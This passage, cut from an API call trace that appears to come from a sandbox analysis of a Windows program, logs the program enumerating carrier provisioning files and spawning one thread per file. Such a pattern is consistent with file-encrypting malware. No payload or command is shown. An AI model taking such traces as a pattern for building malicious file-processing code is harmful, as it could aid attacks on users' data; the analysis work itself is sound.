dwReserved1=0x0, cFileName="607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="607__C~1.PRO")) returned 1 [0182.163] wcscmp (_String1="607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.163] wcscmp (_String1="607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.163] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f904b8 [0182.163] wcscpy (in: _Dest=0x2f904b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.164] wcscat (in: _Dest=0x2f904b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.164] wcscat (in: _Dest=0x2f904b8, _Source="607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\607__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f904b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0182.164] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915f3e81, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915f3e81, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915f3e81, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", cAlternateFileName="608__C~1.PRO")) returned 1 [0182.164] wcscmp (_String1="608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.164] wcscmp (_String1="608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.164] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f90a18 [0182.164] wcscpy (in: _Dest=0x2f90a18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.164] wcscat (in: _Dest=0x2f90a18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.164] wcscat (in: _Dest=0x2f90a18, _Source="608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\608__Connections_Cellular_Tata Docomo (India)_i0$(__MVID)@WAP.provxml" [0182.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90a18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4 [0182.165] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915f3e81, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915f3e81, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915f3e81, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml", cAlternateFileName="609__C~1.PRO")) returned 1 [0182.165] wcscmp (_String1="609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.165] wcscmp (_String1="609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.165] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2f90610 [0182.165] wcscpy (in: _Dest=0x2f90610, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.165] wcscat (in: _Dest=0x2f90610, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.165] wcscat (in: _Dest=0x2f90610, _Source="609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\609__Connections_Cellular_Tata Docomo (India)_i1$(__MVID)@WAP.provxml" [0182.165] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x99c [0182.167] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902e08bf, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902e08bf, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902e08bf, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="60__CO~1.PRO")) returned 1 [0182.167] wcscmp (_String1="60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.167] wcscmp (_String1="60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.167] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13e) returned 0x4f01df8 [0182.167] wcscpy (in: _Dest=0x4f01df8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.167] wcscat (in: _Dest=0x4f01df8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.167] wcscat (in: _Dest=0x4f01df8, _Source="60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\60__Connections_Cellular_Mtel (Bulgaria)_i0$(__MVID)@WAP.provxml" [0182.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f01df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0182.168] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915f3e81, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915f3e81, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915f3e81, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="610__C~1.PRO")) returned 1 [0182.168] wcscmp (_String1="610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.168] wcscmp (_String1="610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.168] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f90b70 [0182.168] wcscpy (in: _Dest=0x2f90b70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.168] wcscat (in: _Dest=0x2f90b70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.168] wcscat (in: _Dest=0x2f90b70, _Source="610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\610__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90b70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414 [0182.169] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915f3e81, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915f3e81, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915f3e81, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x351, dwReserved0=0x0, dwReserved1=0x0, cFileName="611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="611__C~1.PRO")) returned 1 [0182.169] wcscmp (_String1="611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.169] wcscmp (_String1="611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14e) returned 0x2f90360 [0182.169] wcscpy (in: _Dest=0x2f90360, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.169] wcscat (in: _Dest=0x2f90360, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.169] wcscat (in: _Dest=0x2f90360, _Source="611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\611__Connections_Cellular_Truphone (Netherlands)_i0$(__MVID)@WAP.provxml" [0182.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9bc [0182.170] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x915f3e81, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x915f3e81, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x915f3e81, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="612__C~1.PRO")) returned 1 [0182.170] wcscmp (_String1="612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.170] wcscmp (_String1="612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f90768 [0182.170] wcscpy (in: _Dest=0x2f90768, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.170] wcscat (in: _Dest=0x2f90768, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.170] wcscat (in: _Dest=0x2f90768, _Source="612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\612__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x850 [0182.171] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161a0f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9161a0f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9161a0f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml", cAlternateFileName="613__C~1.PRO")) returned 1 [0182.171] wcscmp (_String1="613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.171] wcscmp (_String1="613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x154) returned 0x2ff0f70 [0182.171] wcscpy (in: _Dest=0x2ff0f70, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.171] wcscat (in: _Dest=0x2ff0f70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.171] wcscat (in: _Dest=0x2ff0f70, _Source="613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\613__Connections_Cellular_Truphone (United Kingdom)_i0$(__MVID)@WAP.provxml" [0182.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff0f70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0 [0182.172] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161a0f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9161a0f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9161a0f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="614__C~1.PRO")) returned 1 [0182.172] wcscmp (_String1="614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.172] wcscmp (_String1="614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.172] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f908c0 [0182.172] wcscpy (in: _Dest=0x2f908c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.172] wcscat (in: _Dest=0x2f908c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.172] wcscat (in: _Dest=0x2f908c0, _Source="614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\614__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f908c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8 [0182.172] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161a0f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9161a0f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9161a0f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x353, dwReserved0=0x0, dwReserved1=0x0, cFileName="615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml", cAlternateFileName="615__C~1.PRO")) returned 1 [0182.172] wcscmp (_String1="615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.172] wcscmp (_String1="615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x152) returned 0x2ff1240 [0182.173] wcscpy (in: _Dest=0x2ff1240, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.173] wcscat (in: _Dest=0x2ff1240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.173] wcscat (in: _Dest=0x2ff1240, _Source="615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\615__Connections_Cellular_Truphone (United States)_i0$(__MVID)@WAP.provxml" [0182.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff1240, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c [0182.173] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9161a0f0, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9161a0f0, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9161a0f0, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", cAlternateFileName="616__C~1.PRO")) returned 1 [0182.173] wcscmp (_String1="616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2=".") returned 1 [0182.173] wcscmp (_String1="616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", _String2="..") returned 1 [0182.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2f90cc8 [0182.173] wcscpy (in: _Dest=0x2f90cc8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.173] wcscat (in: _Dest=0x2f90cc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.174] wcscat (in: _Dest=0x2f90cc8, _Source="616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\616__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" [0182.174] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f90cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364 [0182.174] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91640358, ftCreationTime.dwHighDateTime=0x1d2e96f, 